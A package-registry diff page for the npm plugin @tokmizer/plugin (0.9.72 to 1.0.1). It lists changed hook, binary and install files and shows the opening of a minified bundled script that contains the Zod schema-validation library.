@tokmizer/plugin 0.9.72 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. package/.claude-plugin/plugin.json +1 -1
  2. package/.codex-plugin/plugin.json +1 -1
  3. package/command-templates/tkr-compression.md +1 -0
  4. package/command-templates/tkr-gain.md +1 -0
  5. package/command-templates/tkr-link.md +2 -1
  6. package/command-templates/tkr-status.md +1 -0
  7. package/command-templates/tkr-telemetry.md +1 -0
  8. package/command-templates/tkr-unlink.md +1 -0
  9. package/command-templates/tkr-update.md +1 -0
  10. package/command-templates/tkr-yolo.md +1 -0
  11. package/command-templates/tkr.md +1 -0
  12. package/dist/bin/tkr-agent-hook.js +13 -13
  13. package/dist/bin/tkr-codex-hook.js +75 -75
  14. package/dist/bin/tkr-context-hook.js +2 -2
  15. package/dist/bin/tkr-copilot-hook.js +12 -12
  16. package/dist/bin/tkr-crush-hook.js +12 -12
  17. package/dist/bin/tkr-cursor-hook.js +12 -12
  18. package/dist/bin/tkr-daemon.js +148 -142
  19. package/dist/bin/tkr-droid-hook.js +12 -12
  20. package/dist/bin/tkr-exec +0 -0
  21. package/dist/bin/tkr-exec.js +86 -83
  22. package/dist/bin/tkr-gemini-hook.js +12 -12
  23. package/dist/bin/tkr-grok-hook.js +12 -12
  24. package/dist/bin/tkr-junie-hook.js +12 -12
  25. package/dist/bin/tkr-processor.js +102 -99
  26. package/dist/bin/tkr-qwen-hook.js +12 -12
  27. package/dist/bin/tkr-shim.js +90 -86
  28. package/dist/bin/tkr-trae-hook.js +12 -12
  29. package/dist/bin/tkr-zcode-hook.js +12 -12
  30. package/dist/bin/tkr.js +283 -289
  31. package/dist/hooks-host/command-expansion.js +1 -1
  32. package/dist/hooks-host/post-tool-use.js +101 -98
  33. package/dist/hooks-host/pre-tool-use.js +13 -13
  34. package/dist/hooks-host/reducer-prompt-submit.js +2 -2
  35. package/dist/hooks-host/reducer-session-start.js +2 -2
  36. package/dist/hooks-host/reducer-stop.js +24 -24
  37. package/dist/hooks-host/session-recap.js +5 -5
  38. package/dist/index.js +105 -102
  39. package/dist/native/manifest.json +12 -12
  40. package/dist/native/single.json +12 -12
  41. package/dist/native/tkr-exec-darwin-arm64 +0 -0
  42. package/dist/native/tkr-exec-darwin-x64 +0 -0
  43. package/dist/native/tkr-exec-linux-arm64 +0 -0
  44. package/dist/native/tkr-exec-linux-x64 +0 -0
  45. package/dist/native/tkr-exec-win32-arm64.exe +0 -0
  46. package/dist/native/tkr-exec-win32-x64.exe +0 -0
  47. package/hooks/hooks.json +2 -7
  48. package/hooks/on-session-start.mjs +6 -3
  49. package/package.json +7 -7
  50. package/scripts/README-INSTALL.md +8 -0
  51. package/scripts/install-mac-linux.sh +3 -3
  52. package/scripts/install-windows.ps1 +0 -7
@@ -1,210 +1,216 @@
1
1
  #!/usr/bin/env node
2
2
  import { createRequire as __tkrCreateRequire } from "node:module"; const require = __tkrCreateRequire(import.meta.url);
3
- var Kb=Object.create;var aa=Object.defineProperty;var Wb=Object.getOwnPropertyDescriptor;var Vb=Object.getOwnPropertyNames;var qb=Object.getPrototypeOf,Yb=Object.prototype.hasOwnProperty;var _t=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+e+'" is not supported')});var y=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var Ae=(e,t)=>()=>{try{return t||e((t={exports:{}}).exports,t),t.exports}catch(n){throw t=0,n}},ge=(e,t)=>{for(var n in t)aa(e,n,{get:t[n],enumerable:!0})},Xb=(e,t,n,r)=>{if(t&&typeof t=="object"||typeof t=="function")for(let o of Vb(t))!Yb.call(e,o)&&o!==n&&aa(e,o,{get:()=>t[o],enumerable:!(r=Wb(t,o))||r.enumerable});return e};var Qb=(e,t,n)=>(n=e!=null?Kb(qb(e)):{},Xb(t||!e||!e.__esModule?aa(n,"default",{value:e,enumerable:!0}):n,e));var B,la,v,qe,Nr=y(()=>{(function(e){e.assertEqual=o=>{};function t(o){}e.assertIs=t;function n(o){throw new Error}e.assertNever=n,e.arrayToEnum=o=>{let s={};for(let i of o)s[i]=i;return s},e.getValidEnumValues=o=>{let s=e.objectKeys(o).filter(a=>typeof o[o[a]]!="number"),i={};for(let a of s)i[a]=o[a];return e.objectValues(i)},e.objectValues=o=>e.objectKeys(o).map(function(s){return o[s]}),e.objectKeys=typeof Object.keys=="function"?o=>Object.keys(o):o=>{let s=[];for(let i in o)Object.prototype.hasOwnProperty.call(o,i)&&s.push(i);return s},e.find=(o,s)=>{for(let i of o)if(s(i))return i},e.isInteger=typeof Number.isInteger=="function"?o=>Number.isInteger(o):o=>typeof o=="number"&&Number.isFinite(o)&&Math.floor(o)===o;function r(o,s=" | "){return o.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}e.joinValues=r,e.jsonStringifyReplacer=(o,s)=>typeof s=="bigint"?s.toString():s})(B||(B={}));(function(e){e.mergeShapes=(t,n)=>({...t,...n})})(la||(la={}));v=B.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),qe=e=>{switch(typeof e){case"undefined":return v.undefined;case"string":return v.string;case"number":return Number.isNaN(e)?v.nan:v.number;case"boolean":return v.boolean;case"function":return v.function;case"bigint":return v.bigint;case"symbol":return v.symbol;case"object":return Array.isArray(e)?v.array:e===null?v.null:e.then&&typeof e.then=="function"&&e.catch&&typeof e.catch=="function"?v.promise:typeof Map<"u"&&e instanceof Map?v.map:typeof Set<"u"&&e instanceof Set?v.set:typeof Date<"u"&&e instanceof Date?v.date:v.object;default:return v.unknown}}});var w,ew,xe,Qo=y(()=>{Nr();w=B.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),ew=e=>JSON.stringify(e,null,2).replace(/"([^"]+)":/g,"$1:"),xe=class e extends Error{get errors(){return this.issues}constructor(t){super(),this.issues=[],this.addIssue=r=>{this.issues=[...this.issues,r]},this.addIssues=(r=[])=>{this.issues=[...this.issues,...r]};let n=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,n):this.__proto__=n,this.name="ZodError",this.issues=t}format(t){let n=t||function(s){return s.message},r={_errors:[]},o=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(o);else if(i.code==="invalid_return_type")o(i.returnTypeError);else if(i.code==="invalid_arguments")o(i.argumentsError);else if(i.path.length===0)r._errors.push(n(i));else{let a=r,l=0;for(;l<i.path.length;){let c=i.path[l];l===i.path.length-1?(a[c]=a[c]||{_errors:[]},a[c]._errors.push(n(i))):a[c]=a[c]||{_errors:[]},a=a[c],l++}}};return o(this),r}static assert(t){if(!(t instanceof e))throw new Error(`Not a ZodError: ${t}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,B.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(t=n=>n.message){let n={},r=[];for(let o of this.issues)if(o.path.length>0){let s=o.path[0];n[s]=n[s]||[],n[s].push(t(o))}else r.push(t(o));return{formErrors:r,fieldErrors:n}}get formErrors(){return this.flatten()}};xe.create=e=>new xe(e)});var tw,st,ca=y(()=>{Qo();Nr();tw=(e,t)=>{let n;switch(e.code){case w.invalid_type:e.received===v.undefined?n="Required":n=`Expected ${e.expected}, received ${e.received}`;break;case w.invalid_literal:n=`Invalid literal value, expected ${JSON.stringify(e.expected,B.jsonStringifyReplacer)}`;break;case w.unrecognized_keys:n=`Unrecognized key(s) in object: ${B.joinValues(e.keys,", ")}`;break;case w.invalid_union:n="Invalid input";break;case w.invalid_union_discriminator:n=`Invalid discriminator value. Expected ${B.joinValues(e.options)}`;break;case w.invalid_enum_value:n=`Invalid enum value. Expected ${B.joinValues(e.options)}, received '${e.received}'`;break;case w.invalid_arguments:n="Invalid function arguments";break;case w.invalid_return_type:n="Invalid function return type";break;case w.invalid_date:n="Invalid date";break;case w.invalid_string:typeof e.validation=="object"?"includes"in e.validation?(n=`Invalid input: must include "${e.validation.includes}"`,typeof e.validation.position=="number"&&(n=`${n} at one or more positions greater than or equal to ${e.validation.position}`)):"startsWith"in e.validation?n=`Invalid input: must start with "${e.validation.startsWith}"`:"endsWith"in e.validation?n=`Invalid input: must end with "${e.validation.endsWith}"`:B.assertNever(e.validation):e.validation!=="regex"?n=`Invalid ${e.validation}`:n="Invalid";break;case w.too_small:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at least":"more than"} ${e.minimum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at least":"over"} ${e.minimum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${e.minimum}`:e.type==="bigint"?n=`Number must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${e.minimum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(e.minimum))}`:n="Invalid input";break;case w.too_big:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at most":"less than"} ${e.maximum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at most":"under"} ${e.maximum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="bigint"?n=`BigInt must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly":e.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(e.maximum))}`:n="Invalid input";break;case w.custom:n="Invalid input";break;case w.invalid_intersection_types:n="Intersection results could not be merged";break;case w.not_multiple_of:n=`Number must be a multiple of ${e.multipleOf}`;break;case w.not_finite:n="Number must be finite";break;default:n=t.defaultError,B.assertNever(e)}return{message:n}},st=tw});function nw(e){Nu=e}function _n(){return Nu}var Nu,es=y(()=>{ca();Nu=st});function x(e,t){let n=_n(),r=Mr({issueData:t,data:e.data,path:e.path,errorMaps:[e.common.contextualErrorMap,e.schemaErrorMap,n,n===st?void 0:st].filter(o=>!!o)});e.common.issues.push(r)}var Mr,rw,te,C,Lt,ce,ts,ns,St,Sn,ua=y(()=>{es();ca();Mr=e=>{let{data:t,path:n,errorMaps:r,issueData:o}=e,s=[...n,...o.path||[]],i={...o,path:s};if(o.message!==void 0)return{...o,path:s,message:o.message};let a="",l=r.filter(c=>!!c).slice().reverse();for(let c of l)a=c(i,{data:t,defaultError:a}).message;return{...o,path:s,message:a}},rw=[];te=class e{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(t,n){let r=[];for(let o of n){if(o.status==="aborted")return C;o.status==="dirty"&&t.dirty(),r.push(o.value)}return{status:t.value,value:r}}static async mergeObjectAsync(t,n){let r=[];for(let o of n){let s=await o.key,i=await o.value;r.push({key:s,value:i})}return e.mergeObjectSync(t,r)}static mergeObjectSync(t,n){let r={};for(let o of n){let{key:s,value:i}=o;if(s.status==="aborted"||i.status==="aborted")return C;s.status==="dirty"&&t.dirty(),i.status==="dirty"&&t.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||o.alwaysSet)&&(r[s.value]=i.value)}return{status:t.value,value:r}}},C=Object.freeze({status:"aborted"}),Lt=e=>({status:"dirty",value:e}),ce=e=>({status:"valid",value:e}),ts=e=>e.status==="aborted",ns=e=>e.status==="dirty",St=e=>e.status==="valid",Sn=e=>typeof Promise<"u"&&e instanceof Promise});var Mu=y(()=>{});var T,Du=y(()=>{(function(e){e.errToObj=t=>typeof t=="string"?{message:t}:t||{},e.toString=t=>typeof t=="string"?t:t?.message})(T||(T={}))});function F(e){if(!e)return{};let{errorMap:t,invalid_type_error:n,required_error:r,description:o}=e;if(t&&(n||r))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return t?{errorMap:t,description:o}:{errorMap:(i,a)=>{let{message:l}=e;return i.code==="invalid_enum_value"?{message:l??a.defaultError}:typeof a.data>"u"?{message:l??r??a.defaultError}:i.code!=="invalid_type"?{message:a.defaultError}:{message:l??n??a.defaultError}},description:o}}function ju(e){let t="[0-5]\\d";e.precision?t=`${t}\\.\\d{${e.precision}}`:e.precision==null&&(t=`${t}(\\.\\d+)?`);let n=e.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${t})${n}`}function ww(e){return new RegExp(`^${ju(e)}$`)}function Bu(e){let t=`${Hu}T${ju(e)}`,n=[];return n.push(e.local?"Z?":"Z"),e.offset&&n.push("([+-]\\d{2}:?\\d{2})"),t=`${t}(${n.join("|")})`,new RegExp(`^${t}$`)}function _w(e,t){return!!((t==="v4"||!t)&&pw.test(e)||(t==="v6"||!t)&&gw.test(e))}function Sw(e,t){if(!cw.test(e))return!1;try{let[n]=e.split(".");if(!n)return!1;let r=n.replace(/-/g,"+").replace(/_/g,"/").padEnd(n.length+(4-n.length%4)%4,"="),o=JSON.parse(atob(r));return!(typeof o!="object"||o===null||"typ"in o&&o?.typ!=="JWT"||!o.alg||t&&o.alg!==t)}catch{return!1}}function xw(e,t){return!!((t==="v4"||!t)&&mw.test(e)||(t==="v6"||!t)&&hw.test(e))}function vw(e,t){let n=(e.toString().split(".")[1]||"").length,r=(t.toString().split(".")[1]||"").length,o=n>r?n:r,s=Number.parseInt(e.toFixed(o).replace(".","")),i=Number.parseInt(t.toFixed(o).replace(".",""));return s%i/10**o}function xn(e){if(e instanceof ve){let t={};for(let n in e.shape){let r=e.shape[n];t[n]=Ie.create(xn(r))}return new ve({...e._def,shape:()=>t})}else return e instanceof lt?new lt({...e._def,type:xn(e.element)}):e instanceof Ie?Ie.create(xn(e.unwrap())):e instanceof Xe?Xe.create(xn(e.unwrap())):e instanceof Ye?Ye.create(e.items.map(t=>xn(t))):e}function da(e,t){let n=qe(e),r=qe(t);if(e===t)return{valid:!0,data:e};if(n===v.object&&r===v.object){let o=B.objectKeys(t),s=B.objectKeys(e).filter(a=>o.indexOf(a)!==-1),i={...e,...t};for(let a of s){let l=da(e[a],t[a]);if(!l.valid)return{valid:!1};i[a]=l.data}return{valid:!0,data:i}}else if(n===v.array&&r===v.array){if(e.length!==t.length)return{valid:!1};let o=[];for(let s=0;s<e.length;s++){let i=e[s],a=t[s],l=da(i,a);if(!l.valid)return{valid:!1};o.push(l.data)}return{valid:!0,data:o}}else return n===v.date&&r===v.date&&+e==+t?{valid:!0,data:e}:{valid:!1}}function zu(e,t){return new Vt({values:e,typeName:N.ZodEnum,...F(t)})}function Lu(e,t){let n=typeof e=="function"?e(t):typeof e=="string"?{message:e}:e;return typeof n=="string"?{message:n}:n}function Uu(e,t={},n){return e?vt.create().superRefine((r,o)=>{let s=e(r);if(s instanceof Promise)return s.then(i=>{if(!i){let a=Lu(t,r),l=a.fatal??n??!0;o.addIssue({code:"custom",...a,fatal:l})}});if(!s){let i=Lu(t,r),a=i.fatal??n??!0;o.addIssue({code:"custom",...i,fatal:a})}}):vt.create()}var Ne,Fu,H,ow,sw,iw,aw,lw,cw,uw,fw,dw,fa,pw,mw,gw,hw,yw,kw,Hu,bw,xt,Ht,jt,Bt,zt,vn,Ut,Jt,vt,at,Be,En,lt,ve,Gt,it,rs,Zt,Ye,os,Tn,Rn,ss,Kt,Wt,Vt,qt,Et,Me,Ie,Xe,Yt,Xt,An,Ew,Dr,Fr,Qt,Tw,N,Rw,Ju,Gu,Aw,$w,Zu,Cw,Ow,Pw,Iw,Nw,Mw,Dw,Fw,Lw,Hw,jw,Bw,zw,Uw,Jw,Gw,Zw,Kw,Ww,Vw,qw,Yw,Xw,Qw,e0,t0,n0,r0,o0,s0,i0,a0,l0,c0,Ku=y(()=>{Qo();es();Du();ua();Nr();Ne=class{constructor(t,n,r,o){this._cachedPath=[],this.parent=t,this.data=n,this._path=r,this._key=o}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},Fu=(e,t)=>{if(St(t))return{success:!0,data:t.value};if(!e.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let n=new xe(e.common.issues);return this._error=n,this._error}}};H=class{get description(){return this._def.description}_getType(t){return qe(t.data)}_getOrReturnCtx(t,n){return n||{common:t.parent.common,data:t.data,parsedType:qe(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}_processInputParams(t){return{status:new te,ctx:{common:t.parent.common,data:t.data,parsedType:qe(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}}_parseSync(t){let n=this._parse(t);if(Sn(n))throw new Error("Synchronous parse encountered promise.");return n}_parseAsync(t){let n=this._parse(t);return Promise.resolve(n)}parse(t,n){let r=this.safeParse(t,n);if(r.success)return r.data;throw r.error}safeParse(t,n){let r={common:{issues:[],async:n?.async??!1,contextualErrorMap:n?.errorMap},path:n?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:qe(t)},o=this._parseSync({data:t,path:r.path,parent:r});return Fu(r,o)}"~validate"(t){let n={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:qe(t)};if(!this["~standard"].async)try{let r=this._parseSync({data:t,path:[],parent:n});return St(r)?{value:r.value}:{issues:n.common.issues}}catch(r){r?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),n.common={issues:[],async:!0}}return this._parseAsync({data:t,path:[],parent:n}).then(r=>St(r)?{value:r.value}:{issues:n.common.issues})}async parseAsync(t,n){let r=await this.safeParseAsync(t,n);if(r.success)return r.data;throw r.error}async safeParseAsync(t,n){let r={common:{issues:[],contextualErrorMap:n?.errorMap,async:!0},path:n?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:qe(t)},o=this._parse({data:t,path:r.path,parent:r}),s=await(Sn(o)?o:Promise.resolve(o));return Fu(r,s)}refine(t,n){let r=o=>typeof n=="string"||typeof n>"u"?{message:n}:typeof n=="function"?n(o):n;return this._refinement((o,s)=>{let i=t(o),a=()=>s.addIssue({code:w.custom,...r(o)});return typeof Promise<"u"&&i instanceof Promise?i.then(l=>l?!0:(a(),!1)):i?!0:(a(),!1)})}refinement(t,n){return this._refinement((r,o)=>t(r)?!0:(o.addIssue(typeof n=="function"?n(r,o):n),!1))}_refinement(t){return new Me({schema:this,typeName:N.ZodEffects,effect:{type:"refinement",refinement:t}})}superRefine(t){return this._refinement(t)}constructor(t){this.spa=this.safeParseAsync,this._def=t,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:n=>this["~validate"](n)}}optional(){return Ie.create(this,this._def)}nullable(){return Xe.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return lt.create(this)}promise(){return Et.create(this,this._def)}or(t){return Gt.create([this,t],this._def)}and(t){return Zt.create(this,t,this._def)}transform(t){return new Me({...F(this._def),schema:this,typeName:N.ZodEffects,effect:{type:"transform",transform:t}})}default(t){let n=typeof t=="function"?t:()=>t;return new Yt({...F(this._def),innerType:this,defaultValue:n,typeName:N.ZodDefault})}brand(){return new Dr({typeName:N.ZodBranded,type:this,...F(this._def)})}catch(t){let n=typeof t=="function"?t:()=>t;return new Xt({...F(this._def),innerType:this,catchValue:n,typeName:N.ZodCatch})}describe(t){let n=this.constructor;return new n({...this._def,description:t})}pipe(t){return Fr.create(this,t)}readonly(){return Qt.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},ow=/^c[^\s-]{8,}$/i,sw=/^[0-9a-z]+$/,iw=/^[0-9A-HJKMNP-TV-Z]{26}$/i,aw=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,lw=/^[a-z0-9_-]{21}$/i,cw=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,uw=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,fw=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,dw="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",pw=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,mw=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,gw=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,hw=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,yw=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,kw=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,Hu="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",bw=new RegExp(`^${Hu}$`);xt=class e extends H{_parse(t){if(this._def.coerce&&(t.data=String(t.data)),this._getType(t)!==v.string){let s=this._getOrReturnCtx(t);return x(s,{code:w.invalid_type,expected:v.string,received:s.parsedType}),C}let r=new te,o;for(let s of this._def.checks)if(s.kind==="min")t.data.length<s.value&&(o=this._getOrReturnCtx(t,o),x(o,{code:w.too_small,minimum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),r.dirty());else if(s.kind==="max")t.data.length>s.value&&(o=this._getOrReturnCtx(t,o),x(o,{code:w.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),r.dirty());else if(s.kind==="length"){let i=t.data.length>s.value,a=t.data.length<s.value;(i||a)&&(o=this._getOrReturnCtx(t,o),i?x(o,{code:w.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!0,message:s.message}):a&&x(o,{code:w.too_small,minimum:s.value,type:"string",inclusive:!0,exact:!0,message:s.message}),r.dirty())}else if(s.kind==="email")fw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"email",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="emoji")fa||(fa=new RegExp(dw,"u")),fa.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"emoji",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="uuid")aw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"uuid",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="nanoid")lw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"nanoid",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="cuid")ow.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"cuid",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="cuid2")sw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"cuid2",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="ulid")iw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"ulid",code:w.invalid_string,message:s.message}),r.dirty());else if(s.kind==="url")try{new URL(t.data)}catch{o=this._getOrReturnCtx(t,o),x(o,{validation:"url",code:w.invalid_string,message:s.message}),r.dirty()}else s.kind==="regex"?(s.regex.lastIndex=0,s.regex.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"regex",code:w.invalid_string,message:s.message}),r.dirty())):s.kind==="trim"?t.data=t.data.trim():s.kind==="includes"?t.data.includes(s.value,s.position)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:{includes:s.value,position:s.position},message:s.message}),r.dirty()):s.kind==="toLowerCase"?t.data=t.data.toLowerCase():s.kind==="toUpperCase"?t.data=t.data.toUpperCase():s.kind==="startsWith"?t.data.startsWith(s.value)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:{startsWith:s.value},message:s.message}),r.dirty()):s.kind==="endsWith"?t.data.endsWith(s.value)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:{endsWith:s.value},message:s.message}),r.dirty()):s.kind==="datetime"?Bu(s).test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:"datetime",message:s.message}),r.dirty()):s.kind==="date"?bw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:"date",message:s.message}),r.dirty()):s.kind==="time"?ww(s).test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{code:w.invalid_string,validation:"time",message:s.message}),r.dirty()):s.kind==="duration"?uw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"duration",code:w.invalid_string,message:s.message}),r.dirty()):s.kind==="ip"?_w(t.data,s.version)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"ip",code:w.invalid_string,message:s.message}),r.dirty()):s.kind==="jwt"?Sw(t.data,s.alg)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"jwt",code:w.invalid_string,message:s.message}),r.dirty()):s.kind==="cidr"?